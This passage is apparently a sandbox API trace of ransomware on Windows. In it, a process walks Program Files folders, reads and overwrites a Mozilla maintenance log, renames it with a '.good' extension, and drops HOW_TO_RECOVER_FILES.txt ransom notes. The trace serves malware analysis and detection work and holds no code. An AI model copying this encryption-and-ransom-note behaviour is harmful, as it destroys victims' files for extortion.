ftLastAccessTime.dwLowDateTime=0xef3d74a4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.926] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3d74a4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.926] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3b1257, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 1 [0153.926] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0153.926] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0153.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0153.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0153.927] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs", lpFilePart=0x0) returned 0x37 [0153.927] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3d74a4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.927] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3d74a4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.927] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3b1257, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 1 [0153.927] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3b1257, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 0 [0153.927] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0153.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0153.927] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log", nBufferLength=0x105, lpBuffer=0x1fbed490, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log", lpFilePart=0x0) returned 0x56 [0153.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed960) returned 1 [0153.928] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs\\maintenanceservice-install.log"), fInfoLevelId=0x0, lpFileInformation=0x3446fb8 | out: lpFileInformation=0x3446fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3b1257, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa4)) returned 1 [0153.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed920) returned 1 [0153.928] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log", nBufferLength=0x105, lpBuffer=0x1fbed2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log", lpFilePart=0x0) returned 0x56 [0153.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed810) returned 1 [0153.928] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs\\maintenanceservice-install.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0153.928] GetFileType (hFile=0x80c) returned 0x1 [0153.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed780) returned 1 [0153.928] GetFileType (hFile=0x80c) returned 0x1 [0153.928] GetFileSize (in: hFile=0x80c, lpFileSizeHigh=0x1fbed9b8 | out: lpFileSizeHigh=0x1fbed9b8*=0x0) returned 0xa4 [0153.928] ReadFile (in: hFile=0x80c, lpBuffer=0x3447388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbed8e8, lpOverlapped=0x0 | out: lpBuffer=0x3447388*, lpNumberOfBytesRead=0x1fbed8e8*=0xa4, lpOverlapped=0x0) returned 1 [0154.183] CloseHandle (hObject=0x80c) returned 1 [0154.442] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log", nBufferLength=0x105, lpBuffer=0x1fbed2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log", lpFilePart=0x0) returned 0x56 [0154.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed810) returned 1 [0154.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs\\maintenanceservice-install.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0154.444] GetFileType (hFile=0x650) returned 0x1 [0154.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed780) returned 1 [0154.444] GetFileType (hFile=0x650) returned 0x1 [0154.444] WriteFile (in: hFile=0x650, lpBuffer=0x32ae768*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x1fbed7f8, lpOverlapped=0x0 | out: lpBuffer=0x32ae768*, lpNumberOfBytesWritten=0x1fbed7f8*=0xb0, lpOverlapped=0x0) returned 1 [0154.445] CloseHandle (hObject=0x650) returned 1 [0154.445] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log", nBufferLength=0x105, lpBuffer=0x1fbed490, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log", lpFilePart=0x0) returned 0x56 [0154.445] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log.gоod", nBufferLength=0x105, lpBuffer=0x1fbed490, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log.gоod", lpFilePart=0x0) returned 0x5b [0154.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed920) returned 1 [0154.445] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs\\maintenanceservice-install.log"), fInfoLevelId=0x0, lpFileInformation=0x1fbeda00 | out: lpFileInformation=0x1fbeda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3b1257, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x58455e31, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0154.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed8e0) returned 1 [0154.445] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs\\maintenanceservice-install.log"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log.gоod" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs\\maintenanceservice-install.log.gоod")) returned 1 [0154.446] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0154.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedb20) returned 1 [0154.446] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0154.446] GetFileType (hFile=0x650) returned 0x1 [0154.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeda90) returned 1 [0154.447] GetFileType (hFile=0x650) returned 0x1 [0154.447] WriteFile (in: hFile=0x650, lpBuffer=0x32b1e58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbedbe8, lpOverlapped=0x0 | out: lpBuffer=0x32b1e58*, lpNumberOfBytesWritten=0x1fbedbe8*=0x5d0, lpOverlapped=0x0) returned 1 [0154.448] CloseHandle (hObject=0x650) returned 1 [0154.448] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbee030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0154.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee550) returned 1 [0154.448] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0154.449] GetFileType (hFile=0x650) returned 0x1 [0154.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4c0) returned 1 [0154.449] GetFileType (hFile=0x650) returned 0x1 [0154.449] WriteFile (in: hFile=0x650, lpBuffer=0x32b56d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbee618, lpOverlapped=0x0 | out: lpBuffer=0x32b56d0*, lpNumberOfBytesWritten=0x1fbee618*=0x5d0, lpOverlapped=0x0) returned 1 [0154.450] CloseHandle (hObject=0x650) returned 1 [0154.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0154.450] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\MSBuild", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild", lpFilePart=0x0) returned 0x1e [0154.451] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.451] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.451] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0154.451] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0154.451] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0154.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0154.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0154.452] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\MSBuild", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild", lpFilePart=0x0) returned 0x1e [0154.452] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.452] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.452] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0154.452] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.452] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0154.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0154.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0154.453] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild\\Microsoft", lpFilePart=0x0) returned 0x28 [0154.453] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.453] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.453] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0154.453] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0154.453] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0154.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0154.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0154.454] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild\\Microsoft", lpFilePart=0x0) returned 0x28 [0154.454] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.454] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.454] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0154.454] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.454] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0154.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0154.454] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild\\Microsoft\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x41 [0154.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedb20) returned 1 [0154.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0154.548] GetFileType (hFile=0x808) returned 0x1 [0154.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeda90) returned 1 [0154.548] GetFileType (hFile=0x808) returned 0x1 [0154.548] WriteFile (in: hFile=0x808, lpBuffer=0x3432a38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbedbe8, lpOverlapped=0x0 | out: lpBuffer=0x3432a38*, lpNumberOfBytesWritten=0x1fbedbe8*=0x5d0, lpOverlapped=0x0) returned 1 [0154.549] CloseHandle (hObject=0x808) returned 1 [0154.550] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbee030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x37 [0154.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee550) returned 1 [0154.550] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\msbuild\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, 